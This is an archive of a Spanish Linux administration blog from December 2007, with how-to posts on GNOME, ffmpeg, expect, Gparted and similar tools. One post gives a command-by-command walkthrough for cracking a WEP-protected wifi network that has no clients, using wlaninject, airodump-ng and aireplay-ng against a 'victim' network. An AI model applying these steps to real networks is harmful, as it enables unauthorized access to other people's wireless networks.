Algo de Linux: 2007

jueves, 20 de diciembre de 2007

Cerrar sesión de usuarios tras un tiempo de inactividad

Como hay muchos usuarios que se dejan su sesión abierta, he montado un script en todas las máquinas que cierra la sesión de un usuario tras un tiempo de inactividad.

Aquí lo tenéis:

#autologout
#!/usr/bin/perl
#
# Script que realiza el autologout de un usuario cuando se activa
# el salvapantallas
#

# Arrancamos xscreensaver-command para ver los eventos que se producen en
# el salvapantallas.
open (IN, "xscreensaver-command -watch |");
while ()
{
if (m/^(BLANK|LOCK)/)
{
`gnome-session-save --kill --silent`;
exit 0;
}
}

Para que se ejecute el script he creado un fichero .desktop que se llama autologout.desktop con el siguiente contenido:

[Desktop Entry]
Encoding=UTF-8
Name=Autologout
Name[es]=Autologout
Comment=Autologout al activar el salvapantallas
Comment[es]=Autologout al activar el salvapantallas
Exec=/usr/bin/autologout
Icon=
Terminal=false
Type=Application
Categories=Application;Network;

Y lo he copiado al directorio ./config/autostart/ del HOME de cada usuario. De este modo, consigo que el script se inicie cada vez que un usuario inicia su sesión.

Autoexpect: Automatización de tareas

Expect es una herramienta que permite crear scripts que llamen a programas que necesitan entrada desde teclado.

Lo utilizamos muchas veces en administración de sistemas para realizar scripts en los que necesitamos respuestas del usuario y queremos que la ejecución sea desatendida.

Existe una herramienta llamada autoexpect, un shell script que permite generar scripts de expect sin tener ni idea de cómo se crean.

Autoexpect viene con expect. Lo que sucede es que está un poco escondido. En LinEx, por ejemplo está en el directorio:

/usr/share/doc/expect/examples/

Lo mejor que podemos hacer es instalar expect antes de nada:

# apt-get install expect

Si queremos poder utilizarlo desde cualquier lugar, lo mejor que podemos hacer es copiarlo al directorio /usr/bin/

# cp /usr/share/doc/expect/examples/autoexpect /usr/bin

De todos modos, por si acaso en vuestro expect no viene, lo he colgado en:

http://www.mediafire.com/?cnz0lnghxmz

Utilizar autoexpect es muy sencillo. Veámoslo con un ejemplo: El paquete sun-java5-bin requiere que aceptemos la licencia cada vez que lo instalamos. Pues bien, para aceptar la licencia tan sólo una vez y luego automatizar la instalación sin tener que volver a aceptarla, podemos crear un script con autoexpect:

# autoexpect -f instala_java5.exp apt-get install sun-java5-bin

Con ésto haremos la instalación en una máquina y se nos creará un script, que en este caso hemos llamado instala_java5.exp. Luego, podremos coger este script y ejecutarlo en otra máquina, que la instalación ya se hará automáticamente, sin tener que volver a aceptar la licencia:

# ./instala_java5.exp

También podemos usarlo para automatizar conexiones ftp, ssh ...

martes, 18 de diciembre de 2007

lightscribe en linux

Hoy en día casi todas las regrabadoras de dvd incorporan lightscribe, una tecnología que permite grabar la superficie de los discos de forma que ya no tendremos que usar etiquetas de papel. Eso sí, para que podamos hacer la carátula del disco, éste también debe ser lightscribe. No vale con que lo sea la grabadora.

Una cosa a tener en cuenta al utilizar un disco lightscribe es que primero grabaremos el contenido del disco y después, daremos la vuelta al disco para imprimir la carátula.

De la siguiente página podemos descargar el controlador y una aplicación gráfica para crear la portada del disco:

http://www.lacie.com/es/support/drivers/index.htm?id=10008

El enlace directo al controlador para linux es el siguiente:
http://www.lacie.com/es/support/drivers/driver.htm?id=10095

El enlace directo al software para crear las etiquetas en linux es el siguiente:
http://www.lacie.com/es/support/drivers/driver.htm?id=10094

Los paquetes Linux están disponibles en formato rpm, así que tendremos que descargarlos y convertirlos a formato deb con la herramienta alien.

# alien --scripts lightscribe-1.8.15.1-linux-2.6-intel.rpm
# alien --scripts 4L-1.0-r6.i586.rpm

Una vez ejecutados los dos comandos anteriores ya tendremos los paquetes convertidos a formato deb:
  • lightscribe-1.8.15.1-linux-2.6-intel.deb
  • 4L-1.0-r6.i586.deb
Ahora, ya podemos instalarlos:

# dpkg -i lightscribe-1.8.15.1-linux-2.6-intel.deb
# dpkg -i 4L-1.0-r6.i586.deb

Una vez instalados, podremos crear las carátulas de los discos ejecutando:

$ 4L-gui

Dos cosillas sobre GNOME

En nuestro escritorio GNOME hay una carpeta que dice "Carpeta de nombreusuario", donde nombredeusuario será el nombre del usuario con el que hemos accedido al sistema. El texto que aparece, se encuentra almacenado en el siguiente archivo:

$HOME/.gconf/apps/nautilus/desktop/%gconf.xml

Si queremos cambiarlo no tenemos más que abrir el archivo y modificar el texto para que muestre otra cosa. Y si queremos restaurarlo, de forma que el sistema muestre el texto por defecto, no tenemos más que borrarlo. Al volver a iniciar la sesión se creará de nuevo.

Otra cosilla: Muchas veces modifico la configuración del escritorio de un usuario y luego copio el .gconf entero al resto de los usuarios para que tengan la misma configuración. Pues bien, si queremos modificar el panel del usuario, la configuración se encuentra almacenada en:

$HOME/.gconf/apps/panel/general/%gconf.xml

GNOME: Ejecutar aplicaciones de forma automática al iniciar la sesión

Como todos sabemos, en gnome, podemos modificar las propiedades de nuestro inicio de sesión ejecutando la aplicación gnome-session-properties. Y una de las cosas que podemos hacer es que se ejecute una determinada aplicación al iniciar nuestra sesión.

Ahora bien, como lo que más nos interesa a los administradores es hacer estas cosas desde un terminal, porque nos da la posibilidad de hacerlo en remoto sin la necesidad de servidor gráfico, o programar tareas que lo hagan por nosotros para cada una de nuestras máquinas, os cuento cómo se hace:

Para ejecutar una tarea en el inicio de nuestra sesión no tenemos más que copiar el fichero .desktop al directorio ./config/autostart/ que hay en nuestro HOME. Por ejemplo, imaginemos que queremos que se inicie mozilla firefox, cada vez que iniciamos la sesión. Copiamos firefox.desktop al directorio ./config/autostart/ de nuestro directorio HOME y listo. ¿Y si la aplicación que queremos arrancar no tiene un fichero .desktop? Pues lo creamos.
Un fichero .desktop típico tiene la forma:

[Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=gpdftk
Comment=
Exec='/usr/bin/gpdftk.gambas'
Icon=/usr/share/pixmaps/gpdftk.png
StartupNotify=true
Terminal=false
TerminalOptions=
Type=Application
GenericName[es_ES]=


Podemos usarlo como modelo y en la línea Exec escribir la trayectoria a la aplicación que queremos ejecutar. Luego, podemos cambiar de paso el nombre de la aplicación, y el icono, como no es necesario en este caso, podemos quitarlo. Una vez preparado el fichero .desktop, lo copiamos al directorio $HOME/.config/autostart/ y la próxima vez que iniciemos la sesión se arrancará la aplicación.

Si queremos también podemos colocar los ficheros desktop en /usr/share/gnome/autostart/ De este modo, las aplicaciones que coloquemos aquí, se abrirán en el inicio de todos los usuarios.

domingo, 16 de diciembre de 2007

module-assistant: Una gran ayuda para instalar módulos

En muchas ocasiones, al actualizar nuestro linux se actualiza también el kernel. Y, los módulos dependen de la versión del kernel que tengamos instalada, lo que significa que sea necesario volver a compilar los módulos tras una actualización del kernel.

En debian, tenemos una gran ayuda: module-assistant, una herramienta diseñada para facilitarnos la instalación de módulos, de tal forma que descarga las librerías correspondientes a nuestra versión del núcleo, y, mediante una serie de menús nos permite elegir los módulos a descargar e instalar.

Lo mejor de todo, es que, además de instalar el módulo nos crea un paquete deb, que podremos utilizar en otras máquinas con el mismo hardware, cosa que a los administradores nos viene de perlas.

Como siempre, podemos instalar esta herramienta desde la línea de comandos, naturalmente, como root:

# apt-get install module-assistant

Una vez instalada, podemos ejecutarla también desde un terminal:

# module-assistant

module-assistant dispone de dos tipos de menús:
  • El menú de inicio, que sirve para preparar el equipo.
  • El menú de instalación, que sirve para descargar, compilar e installar los módulos.
El menú de inicio nos ofrece las siguientes opciones:
  • overview: Lista los parámetros disponibles para usar desde consola.
  • update: Actualiza la lista de paquetes.
  • prepare: Descarga las cabeceras del núcleo (linux-headers).
  • select: Nos permite seleccionar los módulos que vamos a instalar.
  • exit: Nos permite terminar y salir del programa.
El menú de instalación nos ofrece las siguientes opciones:
  • list: Lista los módulos elegidos y nos informa de si su paquete deb está instalado.
  • search: Permite buscar los paquetes listados por list.
  • get: Descarga el código fuente del módulo a instalar.
  • build: Compila el código fuente del módulo descargado. Además lo instala.
  • install: Permite instalar módulos que hayan quedad pendientes de instalar.
  • back: Vuelve a listado de módulos a instalar.

¿Qué es RSS?

Es curioso, pero recientemente me he dado cuenta de que hay mucha gente que no sabe lo que es RSS ni para qué sirve. Voy a intentar explicarlo de forma sencilla, sin entrar en detalles técnicos.

En todos los blogs y en muchos portales vemos un símbolo como éste:
Este icono, que se ha convertido en un estándar de facto, indica la presencia de feeds en el sitio web que estamos visitando.

Vale, ¿pero qué es RSS?
Por decirlo de alguna manera clara, RSS es un formato que permite la redifusión de contenidos de un sitio web a los suscriptores del sitio.

Hace tiempo se utilizaban lectores de RSS para que los suscriptores de un sitio pudieran leer sus contenidos, pero hoy en día, los propios navegadores, como por ejemplo Firefox, incorporan la posibilidad de suscribirse a contenidos RSS.

Si entramos en una web y vemos éste símbolo en la barra de dirección o en la propia web, seguramente podremos suscribirnos y recibir sus contenidos.

En Firefox, al suscribirnos a un RSS, se nos añade un marcador dinámico a la barra de marcadores, que nos permitirá, sin entrar en el sitio, ver sus noticias. Muy útil si quiero consultar en cualquier momento las novedades de un sitio que ofrece noticias o artículos de mi interés.

viernes, 14 de diciembre de 2007

Podcast: ¿Y eso qué es...?

Según la wikipedia, el podcasting consiste en la creación de archivos de sonido (generalmente en formato mp3 o AAC y en algunos casos ogg) y de video (llamados videocasts o vodcasts) y su distribución mediante un archivo RSS que permite suscribirse y usar un programa que lo descarga para que el usuario lo escuche en el momento que quiera, generalmente en un reproductor portátil, como por ejemplo, un reproductor de mp3 o mp4.

Pero, ¿cómo se escucha un podcast?

  • Hay quien usa programas que leen archivos de índices, descargan los archivos automáticamente y la transfieren a un reproductor MP3.
  • Hay quien se baja el archivo de audio directamente, si la web que ofrece el servicio lo permite.
  • Y otros simplemente lo escuchan en el ordenador.
Por poner un ejemplo, la Cope tiene en su web una página donde explica lo que son los podcasts y ofrece direcciones para subscribirse a los suyos:

http://www.lamanana.com.es/podcast/

Ah, una cosilla. En su web dicen que el IPOD de Apple es el único reproductor compatible con los programas para realizar el podcasting, lo cual no es cierto. Yo tengo el MP4 Bluesky BMP 6607 y se sincroniza perfectamente con el gpodder en linux.

Si queréis ver una lista más amplia de programas para escuchar podcast es mejor que consultéis la web de podcast-es.org:

http://www.podcast-es.org/index.php/Programas

En linux podemos instalar el programa gpodder, que está en los repositorios de la mayor parte de las distribuciones basadas en debian. Para instalarlo, hacemos como root en un terminal:

# apt-get install gpodder

Una vez instalado es muy sencillo de usar.
Aquí os pongo un pantallazo de gpodder con los Podcast de La Mañana de la COPE.

En el cuadro inferior podéis poner una dirección de podcast y pulsar en añadir. Se añadirá en la lista de canales "Channel".

En el apartado Preferencias podéis configurar que el programa se sincronice con vuestro reproductor de MP4. De este modo, los archivos es transferirán al reproductor y podréis escucharlos cuando queráis. Es muy útil cuando no recibís vuestro programa de radio favorito en la zona donde vivís. O si no podéis escuchar el programa en el momento que se emite.

Por cierto, en podcastellano.com tenéis un directorio de podcasts en español:

http://www.podcastellano.com/directorio/

jueves, 13 de diciembre de 2007

ffmpeg: Conversión de formatos de audio y video en Linux

Hoy en día, debido a la gran cantidad de dispositivos de audio y video y fabricantes existentes en el mercado, hay multitud de formatos de vídeo y audio: mpeg, avi, mp3, wma, wmv, wav, flv....

ffmpeg es un paquete que consta de los siguientes programas:

  • ffmpeg: Herramienta sin interfaz gráfica que permite convertir ficheros de vídeo, flujos e incluso la entrada proporcionada por una tarjeta de TV a distintos formatos de salida.
  • ffserver: Servidor de flujos para ser proporcionados como entrada a ffmpeg.
  • ffplay: Reproductor muy simple, pero que tiene la capacidad de reproducir todos aquellos formatos que soporta ffmpeg.
Se ejecuta desde línea de comandos.

Suele estar disponible en la mayor parte de las distros, así que si disponemos de LinEx o cualquier otra distribución basada en Debian, no tenemos más que hacer, como root en un terminal:

# apt-get install ffmpeg

Conversión de formatos

Convertir un video o audio con ffmpeg es sencillo. No obstante, si tenemos alguna duda, siempre podemos consultar la ayuda:

$ man ffmpeg

Veamos algún ejemplo:

AVI -> FLV

$ ffmpeg -i pelicula.avi pelicula.flv

FLV -> AVI

$ ffmpeg -i pelicula.flv pelicula.avi

AVI -> VCD

$ ffmpeg -i pelicula.avi -target pal-vcd pelicula_vcd.mpg

MPEG -> 3GP

$ ffmpeg -i pelicula.mpeg -s qcif -r 12 -ac 1 -ar 8000 -b 30 -ab 12 pelicula.3gp

WMA -> MP3

$ ffmpeg -i cancion.wma -f mp3 -ab 192 cancion.mp3

(Después de ab se especifica el “bitrate” de salida)


Reproducción de archivos convertidos con ffplay

Podemos comprobar si la conversión se ha realizado correctamente mediante ffplay., Tan sólo tenemos que ejecutar ffplay en un terminal pasándole como parámetro el archivo a reproducir.

$ ffplay fichero.ext

Media Convert: Conversión de formatos gratis on-line

Aquí os pongo un enlace muy bueno que me ha pasado un compañero.

Se trata de Media Convert, un sitio web que nos permite convertir sonidos, tonos de móvil, videos, documentos, presentaciones, hojas de cálculo de forma totalmente gratuita y on-line.

http://media-convert.com/convert/

En la propia web se mencionan dos ventajas que nos proporciona este servicio gratuito:
  • Más seguridad, al no tener que instalar en nuestra máquina programas para convertir de un formato a otro.
  • Acceso a la conversión desde cualquier lugar del mundo a través de internet,
Lo mejor es que soporta una gran cantidad de formatos de audio, video y documentos.
Además, podemos seleccionar un archivo de nuestro ordenador o la url del archivo si está en internet.

La pega que le encuentro es que no soporta el formato .mtv, precisamente el de mi reproductor MP4.

Preparar nuestro propio router wifi

Existen multitud de dispositivos hardware que llevan una versión embebida de Linux, como por
ejemplo, el punto de acceso Linksys WRT54GL.

Y existen en la comunidad de usuarios de software libre varios proyectos que se encargan de modificar y mejorar el kernel de los puntos de acceso. Los más destacados son DD-WRT, OpenWRT, FreeWRT y Tomato. Y de entre ellos, por lo que he leído, el más utilizado y el que ofrece mayor funcionalidad ahora mismo es DD-WRT.

Estos proyectos, al incorporar linux como firmware del dispositivo, nos permiten ampliar de una manera impresionante la funcionalidad de nuestro punto de acceso, permitiéndonos convertirlo en un router con servicios como:
  • IPv6.
  • Cliente pptp. Que permite establecer conexiones VPN con servidores VPN.
  • Servidor pptpd. Que permite atender peticiones de clientes VPN.
  • NoCAT. Permite controlar el acceso de usuarios a la red mediante usuario/password.
  • OpenVPN. Que permite crear una red VPN entre varios puntos de acceso.
  • QoS. Que permite establecer prioridades para los diferentes tipos de tráfico.
  • RADIUS. Sistema de autentificación para acceso a la red.
  • RFlow. Que permite analizar el tráfico de la red.
  • SSH. Para acceso seguro a máquinas remotas.
  • SNMP. Para controlar el estado de los dispositivos de nuestra red.
  • Soporte HTTPS. Para administración web.
  • UPnP. Permite publicar servidores internos.
  • WOL. Permite el arranque remoto.
Es decir, que por muy poco dinero, podemos tener un potente router con servicios que sólo encontramos en equipos de gama alta.
Para poder actualizar el firmware de nuestro equipo tan sólo tenemos que descargarlo
de la página del proyecto que más nos interese y actualizar nuestro punto de acceso con él.

Las direcciones web de los diferentes proyectos son:
Allí podremos encontrar, además del firmware y documentación, una lista de dispositivos compatibles con dicho firmware.

martes, 11 de diciembre de 2007

Auriculares inalámbricos HI-FI con radio incorporada

En más de una ocasión he querido comprar unos auriculares inalámbricos para no molestar cuando escucho música o veo la tele a altas horas de la noche, pero siempre me ha tirado para atrás el gran tamaño de los auriculares de este tipo y el precio que suelen tener.

El otro día ví en Carrefour los auriculares inalámbricos TVISTO por 9,90 euros, así que los compré para probarlos. Y la verdad es que por el precio que tienen estoy encantado con ellos.

La caja contiene:
  • Un emisor (que conectamos a la tele, nuestro ordenador, etc...)
  • Un receptor (los auriculares).
  • Un pequeño manual de instrucciones.
  • Un cable de audio.
  • Un cable de micrófono.
  • Y un cable adaptador.
Al emisor hay que ponerle tres pilas AAA y a los auriculares dos.

Podemos utilizar estos auriculares de varias formas:
  • Como auriculares inalámbricos. Podemos conectar el emisor a la salida de audio de nuestro TV o a nuestro MP3 o mp4 y no tendremos la molestia de tirantes cables.
  • Para charlar en internet con nuestro programa de mensajería instantánea. El emisor hará de micro y los auriculares nos permitirán escuchar a nuestro interlocutor.
  • Para vigilar a los niños cuando duermen por ejemplo. Para ello se coloca el emisor en la habitación y nosotros escuchamos con los auriculares. Esta función no me ha parecido muy buena. Al menos en la prueba que hice, tenían que estar demasiado cerca del micro para oirles.
  • Para escuchar la radio. Estos auriculares disponen de un sintonizador de radio que funciona bastante bien y que nos permite escuchar la radio.
Enfin, lo dicho, por el precio que tienen están realmente bien. Además tienen una garantía de 5 años.

miércoles, 5 de diciembre de 2007

WLANInject: Una herramienta para inyección de tráfico en una red wifi sin clientes

En redes wifi hay dos tipos de ataques:

  • Ataques pasivos. Mediante este tipo de ataques nos limitamos a capturar tráfico de la red víctima.
  • Ataques activos. Utilizamos técnicas de inyección de tráfico para generar el tráfico que necesitamos.

El problema mas común que nos encontramos en el ataque a una red WiFi con clave WEP es que no haya clientes en ella, con lo que al no haber tráfico podemos tardar muchos días en capturar el tráfico necesario para descubrir la clave WEP.

WLANInject es una impresionante utilidad para Linux que genera un paquete ARP en una red sin clientes a partir de la suposición de su rango de IP. Una vez generado el paquete, podemos usarlo para inyectar tráfico con aireplay.

El único inconveniente es que tenemos que tener:

  • Dos tarjetas de red: Una en modo managed para inyectar tráfico y otra en modo monitor para capturar tráfico.
  • O bien dos máquinas, una que capture tráfico y otra que lo inyecte.
  • O si tenemos un chipset atheros, podemos clonar la interface y crear una para inyectar y otra para capturar.
COMO INSTALAR WLANINYECT (sacado de www.makeandinstall.com)

Vamos a explicar como hacerlo sobre Ubuntu 7.04 :

  • Primero descargamos Wlaninject 0.6
  • Descomprimimos Wlaninject escribiendo en consola y en el directorio donde está el archivo comprimido:
tar -zxvf wlaninject-0.6.tar.gz
  • Instalamos dependencias necesarias para la compilación, para lo que ejecutamos en consola:
sudo apt-get build-dep aircrack-ng
sudo apt-get install -y libnet0 libnet1 libnet1-dev libpcap0.7 libpcap0.7-dev libpcap0.8 aircrack-ng
  • Entramos en la carpeta que acabamos de descomprimir y compilamos e instalamos el programa:

cd wlaninject-0.6
make
sudo make install

COMO USAR WLANINYECT (sacado de www.makeandinstall.com)

  • Lo primero es unirnos a la red encriptada que queremos atacar con la primera tarjeta de red WiFi, para lo que tendremos que suponer el rango de IP que usa (esto es de vital importancia, ya que si no acertamos el ataque no valdrá de nada). Los rangos más comunes son 192.168.1.X y 192.168.0.X (tambien podemos mirar que rango usa por defecto el router que estamos atacando). Por lo tanto vamos a unirnos a la red suponiendo que tiene un rango 192.168.1.X y que nuestra interface es ath0, para lo que escribimos:

sudo iwconfig ath0 channel CANAL

sudo iwconfig ath0 essid NOMBREDELARED

sudo iwconfig ath0 ap MAC_DEL_PUNTO_DE_ACCESO
sudo iwconfig ath0 key s:AAAAAAAAAAAAA

sudo ifconfig ath0 192.168.1.250 up

  • El siguiente proceso es variable dependiendo de si tenemos buena señal o mala, para saber los rates disponibles a los que podemos conectar (las velocidades de transmision) escribimos el siguiente código:

iwlist ath0 rate

  • Suponiendo que nos ha devuelto un rate bajo, como 1M, vamos a obligar a que la conexion se efectúe a ese rate, escribiendo:

sudo iwconfig ath0 rate 1M

  • Ahora, y antes de utilizar WlanInyect, ponemos a capturar paquetes a Airodump-ng y ponemos Aireplay-ng a la escucha del paquete ARP que se va a generar para que lo inyecte, para lo que escribimos:

sudo airodump-ng -c CANAL -w ARCHIVOGUARDAIV ath1

sudo aireplay-ng -4 -b MACDELPUNTODEACCESO -f1 ath1

  • Ponemos a trabajar a WlanInject:

wlaninject -e NOMBREDELARED -b MACDELPUNTODEACCESO -i ath0

En el ejemplo, hemos usado:

  • wlaninject con la interface ath0 (la que hemos puesto en modo managed)
  • Y aireplay-ng con la interface ath1 (la que hemos puesto en modo monitor)

Recordemos que también podríamos usar dos máquinas. Una es la que inyecta tráfico (en la que pondríamos la interfaz de red en modo managed) y la otra es la que captura tráfico (pondríamos su interfaz de red en modo monitor).

Ahora solo nos queda esperar a que Aireplay detecte el paquete ARP generado y pulsar Y para que lo inyecte, La orden que debemos ejecutar para que aireplay se ponga a la escucha es:

sudo aireplay-ng -4 -b MACDELPUNTODEACCESO -f1 ath1

Wifislax: Analizando la seguridad de redes wifi

Muchas veces, los administradores tenemos que emplear herramientas de auditoría para comprobar la seguridad de nuestras redes. Una de las herramientas que más me gustan en el ámbito de las redes inalámbricas es Wifislax.


Wifislax es una herramienta que nos permite analizar la seguridad de redes wifi. Y como la mejor forma de defender una wifi es atacándola, wifislax nos proporciona una interesante recopilación de herramientas de ataque activo y pasivo.

Wifislax esta basado en SLAX (basado en la distribución Slackware Linux) y en BackTrack.

Se distribuye en un live CD que se puede utilizar directamente sin instalar en disco duro. Pero además incorpora herramientas de instalación en el disco duro o en memorias USB. Además dispone de un conjunto de scripts y código fuente que nos permiten personalizar nuestra propia copia y construir un nuevo live CD.

Otra de las cosas interesantes es que está traducida al español.

Pero una de las cosas más interesantes es que los chicos de seguridad wireless han añadido drivers, aumentado el número de tarjetas inalámbricas que esta distro detecta. Actualmente reconoce tarjetas con los drivers de las famosas ipw2200, los rt73 de las nuevas tarjeta USB con chipset ralink, las nuevas PCI con el chipset rt61, así como los acx, ipw3945, zydas zd1211rw, los rtl8187 de ultima generación, además de los drivers de toda la vida para el entorno de seguridad wireless, madwifi-ng, realtek,etc.

Para más información, os recomiendo visitar su web:

http://www.wifislax.com/

Extensiones de Firefox

Para buscar extensiones de firefox, os recomiendo el siguiente sitio:

http://www.zonafirefox.net

iTALC: Sistema de control de aulas GPL

iTALC es una herramienta muy interesante, por ejemplo para control de aulas por parte del profesor, que permite ver y controlar ordenadores en una red de varias formas.

Soporta Linux y Windows 2000/XP/Vista. Además puede ser usado de forma transparente en entornos mixtos.

iTALC es GPL. Lo que significa que además de ser gratuito, el código fuente está disponible para que podamos adaptarlo a nuestras necesidades.

Características:

iTALC ha sido diseñado para ser usado en escuelas. Además, ofrece muchas posibilidades a los profesores, como por ejemplo:
  • Ver qué se está haciendo en laboratorios de ordenadores y creando instantáneas.
  • Control remoto de ordenadores para dar soporte y ayuda a alguien.
  • Mostrar una demo en pantalla completa o en una ventana. La pantalla del profesor se muestra a todos los ordenadores de los estudiantes en tiempo real.
  • Bloquear estaciones de trabajo para no permitir el uso de los ordenadores en determinados momentos que se deba atraer la atención del profesor.
  • Enviar mensajes de texto a los estudiantes.
  • Encendido, apagado y reinicio remoto de ordenadores.
  • Conexión remota a equipos, así como ejecución remota de comandos/scripts.
  • home-schooling - La tecnología de red de iTALC no está restringida a una subred, y los estudiantes pueden unirse a clases via conexión VPN, instalando un cliente iTALC.
Además, iTALC está optimizado para ser usado en sistemas multinúcleo, sin que haya que preocuparse de cuántos núcleos tiene el usuario. iTALC hace uso de todos ellos.

Por defecto, el interfaz de usuario de iTALC está en inglés. No obstante, cuando iTALC se inicia, comprueba el idioma del entorno e intenta cargar la localización apropiada, para que el usuario pueda ver la aplicación en su propio idioma.

Si alguien se anima a colaborar en el proceso de localización de esta aplicación, el proceso está descrito en:

http://italc.sourceforge.net/wiki/index.php?title=Creating_a_localization.

Además, hay una lista de desarrollo:

http://italc.sourceforge.net/mailinglists.php

Para más información, recomiendo visitar la web del proyecto:

http://italc.sourceforge.net/

martes, 4 de diciembre de 2007

Redirigir una web a otra dirección

Si teníamos alojada la web en un servidor y la hemos migrado a otro, para que nuestros visitantes puedan seguir entrando con la dirección antigua (al menos temporalmente) podemos redireccionar al nuevo alojamiento, tan sólo con crear un fichero index.php en el antiguo servidor con el siguiente contenido:

header("Location:http://iesvallejertepla.juntaextremadura.net")
?>

Naturalmente, después de Location: ponéis la dirección de la web de destino.

domingo, 2 de diciembre de 2007

Gparted: El editor de particiones GPL.

Gparted es una aplicación de edición de particiones de GNOME.

Esta aplicación se usa para crear, eliminar, redimensionar, inspeccionar y copiar particiones, como también sistemas de archivos. Esto es útil para crear espacio para nuevos sistemas operativos, reorganizar el uso del disco y crear imágenes de un disco en una partición.


Éstos son los sistemas de ficheros soportados por gparted y las operaciones que gparted puede hacer con ellos:


Detectar Leer Crear Aumentar tamaño Reducir tamaño Mover Copiar Chequear Software necesario
ext2 supported.png supported.png supported.png supported.png supported.png supported.png supported.png [1] supported.png e2fsprogs
ext3 supported.png supported.png supported.png supported.png supported.png supported.png supported.png [1] supported.png e2fsprogs
fat16 supported.png supported.png supported.png supported.png [4] supported.png [4] supported.png [4] supported.png [1] supported.png dosfstools
fat32 supported.png supported.png supported.png supported.png [4] supported.png [4] supported.png [4] supported.png [1] supported.png dosfstools
hfs supported.png supported.png supported.png not_supported.png supported.png [4] supported.png supported.png [1] not_supported.png hfsutils
hfs+ supported.png supported.png not supported.png not_supported.png supported.png [4] supported.png supported.png [1] not_supported.png
jfs supported.png supported.png supported.png supported.png [2] not_supported.png supported.png supported.png [1] supported.png jfsutils
linux-
swap
supported.png not_supported.png supported.png supported.png supported.png supported.png supported.png [1] not_supported.png mkswap (part of util-linux)
ntfs supported.png supported.png supported.png supported.png supported.png supported.png supported.png supported.png ntfsprogs
reiserfs supported.png supported.png supported.png supported.png supported.png supported.png supported.png [1] supported.png reiserfsprogs
reiser4 supported.png supported.png supported.png not_supported.png not_supported.png supported.png supported.png [1] supported.png reiser4progs
ufs supported.png not_supported.png not supported.png not_supported.png not_supported.png supported.png supported.png not_supported.png
xfs supported.png supported.png supported.png supported.png [2] not_supported.png [3] supported.png supported.png supported.png xfsprogs

[1] Actualmente, la copia es realizada mediante 'dd'.
[2] Se necesita soporte del kernel para este sistema de ficheros si queremos aumentar el tamaño de las particiones (es necesario cargar un módulo).
[3] Aunque no es posible reducir el tamaño de un sistema de ficheros xfs directamente, podemos reducirlo usando la funcionalidad copy de gparted.
[4] Soporte nativo disponible mediante libparted.

Una de las cosas que más me gustan es que Gparted está publicado bajo licencia GPL, y, además soporta multitud de sistemas de ficheros, con lo que ya no tenemos que recurrir a software propietario para editar particiones.

Gparted está disponible para su descarga de tres formas:
Normalmente suelo ejecutarlo desde CD.